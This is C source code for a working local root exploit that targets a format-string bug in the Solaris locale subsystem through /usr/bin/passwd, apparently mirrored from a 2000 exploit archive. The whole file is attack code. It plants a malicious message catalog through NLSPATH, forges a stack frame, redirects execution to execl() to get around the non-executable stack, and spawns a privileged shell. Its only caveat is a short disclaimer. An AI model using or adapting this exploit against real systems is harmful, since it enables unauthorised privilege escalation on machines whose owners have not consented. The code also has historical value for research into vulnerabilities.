/* * exploit for locale subsystem format strings bug In Solaris with noexec stack. * Tested in Solaris 2.6/7.0 (If it wont work, try adjust retloc offset. e.g. * ./ex -o -4 ) * * $gcc -o ex ex.c `ldd /usr/bin/passwd|sed -e 's/^.lib\([_0-9a-zA-Z]*\)\.so.*/-l\1/'` * usages: ./ex -h * * Thanks for Ivan Arce who found this bug. * Thanks for horizon's great article about defeating noexec stack for Solaris. * * THIS CODE IS FOR EDUCATIONAL PURPOSE ONLY AND SHOULD NOT BE RUN IN * ANY HOST WITHOUT PERMISSION FROM THE SYSTEM ADMINISTRATOR. * * by warning3@nsfocus.com (http://www.nsfocus.com) * y2k/11/10 */ #include #include #include #include #include #define BUFSIZE 2048 /* the size of format string buffer */ #define BUFF 128 /* the progname buffer size */ #define SHELL "/bin/ksh" /* shell name */ #define DEFAULT_NUM 68 /* format strings number */ #define DEFAULT_RETLOC 0xffbefb44 /* default retloc address */ #define VULPROG "/usr/bin/passwd" /* vulnerable program name */ void usages(char *progname) { int i; printf("Usage: %s \n", progname); printf(" [-h] Help menu\n"); printf(" [-n number] format string's number\n"); printf(" [-a align] retloc buffer alignment\n"); printf(" [-o offset] retloc offset\n\n"); } /* get current stack point address to guess Return address */ long get_sp(void) { __asm__("mov %sp,%i0"); } main( int argc, char **argv ) { char *pattern, retlocbuf[BUFF], *env[11]; char plat[BUFF], *ptr; long sh_addr, sp_addr, i; long retloc = DEFAULT_RETLOC, num = DEFAULT_NUM, align = 0, offset=0; long *addrptr; long reth, retl, reth1, retl1; FILE *fp; extern int optind, opterr; extern char *optarg; int opt; void *handle; long execl_addr, fp_addr, fp1_addr; char fakeframe[512]; char padding[64], pad = 0; int env_len, arg_len, len; char progname[BUFF]; strncpy(progname, argv[0], BUFF-1); while ((opt = getopt(argc, argv, "n:a:o:h")) != -1) switch((char)opt) { case 'n': num = atoi(optarg); break; case 'a': align = atoi(optarg); break; case 'o': offset = atoi(optarg); break; case '?': case 'h': default: usages(progname); exit(0); } retloc += offset; /* get platform info */ sysinfo(SI_PLATFORM,plat,256); /* Construct fake frame in environ */ env[0] = "NLSPATH=:."; env[1] = padding; /* padding so that fakeframe's address can be divided by 4 */ /* sh_addr|sh_addr|0x00000000|fp2|fp2|fp2|fp2|fp2|0x00|/bin/ksh|0x00 */ env[2]=(fakeframe); /* sh_addr|sh_addr|0x00 */ env[3]=&(fakeframe[40]);/* |0x00 */ env[4]=&(fakeframe[40]);/* |0x00 */ env[5]=&(fakeframe[40]);/* |0x00 */ env[6]=&(fakeframe[44]);/* |fp2|fp2|fp2|fp2|fp2*/ env[7]=SHELL; /* shell strings */ env[8]=NULL; /* calculate the length of "VULPROG" + argv[1] */ arg_len = strlen(VULPROG) + strlen("-z") + 2; /* calculate the pad nummber . * We manage to let the length of padding + arg_len + "NLSPATH=." can * be divided by 4. So fakeframe address is aligned with 4, otherwise * the exploit won't work. */ pad = 3 - (arg_len + strlen(env[0]) +1)%4; memset(padding, 'A', pad); padding[pad] = '\0'; /* get environ length */ env_len = 0; for(i = 0 ; i < 8 ; i++ ) env_len += strlen(env[i]) + 1; /* get the length from argv[0] to stack bottom * * +------------------------+-----------+--------+-----------+--------+ * |argv[0]argv[1]...argv[n]|env0...envn|platform|programname|00000000| * +------------------------+-----------+--------+-----------+--------+ * ^ ^ * |__startaddr |__sp_addr * * "sp_addr" = 0xffbefffc(Solaris 7/8) or 0xeffffffc(Solaris 2.6) * * I find "startaddr" always can be divided by 4. * So we can adjust the padding's size to let the fakeframe address * can be aligned with 4. * * len = length of "argv" + "env" + "platform" + "program name" * if (len%4)!=0, sp_addr - startaddr = (len/4)*4 + 4 * if (len%4)==0, sp_addr - startaddr = len * So we can get every entry's address precisely based on startaddr or sp_addr. * Now we won't be bored with guessing the alignment and offset.:) */ len = arg_len + env_len + strlen(plat) + 1 + strlen(VULPROG) + 1; printf("len = %#x\n", len); /* get stack bottom address */ sp_addr = (get_sp() | 0xffff) & 0xfffffffc; /* fp1_addr must be valid stack address */ fp1_addr = (sp_addr & 0xfffffac0); /* get shell string address */ sh_addr = sp_addr - (4 - len%4) /* the trailing zero number */ - strlen(VULPROG) - strlen(plat) - strlen(SHELL) - 3 ; printf("SHELL address = %#x\n", sh_addr); /* get our fake frame address */ fp_addr = sh_addr - 8*8 - 1; /* get execl() address */ if (!(handle=dlopen(NULL,RTLD_LAZY))) { fprintf(stderr,"Can't dlopen myself.\n"); exit(1); } if ((execl_addr=(long)dlsym(handle,"execl"))==NULL) { fprintf(stderr,"Can't find execl().\n"); exit(1); } /* dec 4 to skip the 'save' instructure */ execl_addr -= 4; /* check if the exec addr includes zero */ if (!(execl_addr & 0xff) || !(execl_addr * 0xff00) || !(execl_addr & 0xff0000) || !(execl_addr & 0xff000000)) { fprintf(stderr,"the address of execl() contains a '0'. sorry.\n"); exit(1); } printf("Using execl() address : %#x\n",execl_addr); /* now we set up our fake stack frame */ addrptr=(long *)fakeframe; *addrptr++= 0x12345678; /* you can put any data in local registers */ *addrptr++= 0x12345678; *addrptr++= 0x12345678; *addrptr++= 0x12345678; *addrptr++= 0x12345678; *addrptr++= 0x12345678; *addrptr++= 0x12345678; *addrptr++= 0x12345678; *addrptr++=sh_addr; /* points to our string to exec */ *addrptr++=sh_addr; /* argv[1] is a copy of argv[0] */ *addrptr++=0x0; /* NULL for execl(); &fakeframe[40] */ *addrptr++=fp1_addr; /* &fakeframe[44] */ *addrptr++=fp1_addr; *addrptr++=fp1_addr; *addrptr++=fp1_addr; /* we need this address to work */ *addrptr++=fp1_addr; /* cause we don't need exec another func,so put garbage here */ *addrptr++=0x0; /* get correct retloc in solaris 2.6(0xefffxxxx) and solaris 7/8 (0xffbexxxx) */ retloc = (get_sp()&0xffff0000) + (retloc & 0x0000ffff); printf("Using RETloc address = 0x%x, fp_addr = 0x%x ,align= %d\n", retloc, fp_addr, align ); /* Let's make reloc buffer: |AAAA|retloc-4|AAAA|retloc-2|AAAA|retloc|AAAA|retloc+2|*/ addrptr = (long *)retlocbuf; for( i = 0 ; i < 8 ; i ++ ) *(addrptr + i) = 0x41414141; *(addrptr + 1) = retloc - 4; *(addrptr + 3) = retloc - 2; *(addrptr + 5) = retloc ; *(addrptr + 7) = retloc + 2; if((pattern = (char *)malloc(BUFSIZE)) == NULL) { printf("Can't get enough memory!\n"); exit(-1); } /* Let's make formats string buffer: * |A..AAAAAAAAAAAA|%.8x....|%(fp1)c%hn%(fp2)%hn%(execl1)c%hn%(execl2)%hn| */ ptr = pattern; memset(ptr, 'A', 32); ptr += 32; for(i = 0 ; i < num ; i++ ){ memcpy(ptr, "%.8x", 4); ptr += 4; } reth = (fp_addr >> 16) & 0xffff ; retl = (fp_addr >> 0) & 0xffff ; reth1 = (execl_addr >> 16) & 0xffff ; retl1 = (execl_addr >> 0) & 0xffff ; /* Big endian arch */ sprintf(ptr, "%%%uc%%hn%%%uc%%hn%%%uc%%hn%%%uc%%hn", (reth - num*8 -4*8 + align ), (0x10000 + retl - reth), (0x20000 + reth1 - retl), (0x30000 + retl1 - reth1)); if( !(fp = fopen("messages.po", "w+"))) { perror("fopen"); exit(1); } fprintf(fp,"domain \"messages\"\n"); fprintf(fp,"msgid \"%%s: illegal option -- %%c\\n\"\n"); fprintf(fp,"msgstr \"%s\\n\"", pattern + align); fclose(fp); system("/usr/bin/msgfmt -o SUNW_OST_OSLIB messages.po"); /* thanks for z33d's idea. * It seems we have to do like this in Solaris 8. */ i=open("./SUNW_OST_OSLIB",O_RDWR); /* locate the start position of formats strings in binary file*/ lseek(i, 62, SEEK_SET); /* replace the start bytes with our retlocbuf */ write(i, retlocbuf + align, 32 - align); close(i); execle(VULPROG, VULPROG, "-z", NULL, env); } /* www.hack.co.za [30 November 2000]*/